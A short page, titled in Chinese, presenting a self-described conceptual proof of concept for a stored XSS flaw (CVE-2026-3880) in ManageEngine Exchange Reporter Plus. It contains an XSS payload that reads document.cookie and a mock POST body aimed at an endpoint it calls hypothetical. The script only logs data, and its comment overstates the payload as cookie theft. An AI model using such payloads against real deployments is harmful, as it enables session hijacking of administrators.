CVE-2026-3880 ManageEngine存储型XSS漏洞

<!-- Conceptual Proof of Concept (PoC) for CVE-2026-3880 Target: Zohocorp ManageEngine Exchange Reporter Plus < 5802 Vulnerable Parameter: Public Folder Client Permissions report fields --> <script> // Simulating an attacker's payload to be injected into the report // This payload attempts to steal the administrator's session cookie var payload = '<img src=x onerror=alert(document.cookie)>'; // Function to simulate the HTTP POST request to inject the payload // In a real scenario, this would be sent to the vulnerable endpoint function exploit() { console.log("[+] Injecting payload into Public Folder Client Permissions report..."); // The vulnerable endpoint might look like this (hypothetical) // POST /servlet/ReportServlet let data = { "action": "savePermissions", "reportName": "Public Folder Client Permissions", "clientInput": payload // Malicious input inserted here }; // Log the data that would be sent console.log("[+] Payload Data:", JSON.stringify(data)); console.log("[+] Waiting for administrator to view the report..."); } exploit(); </script>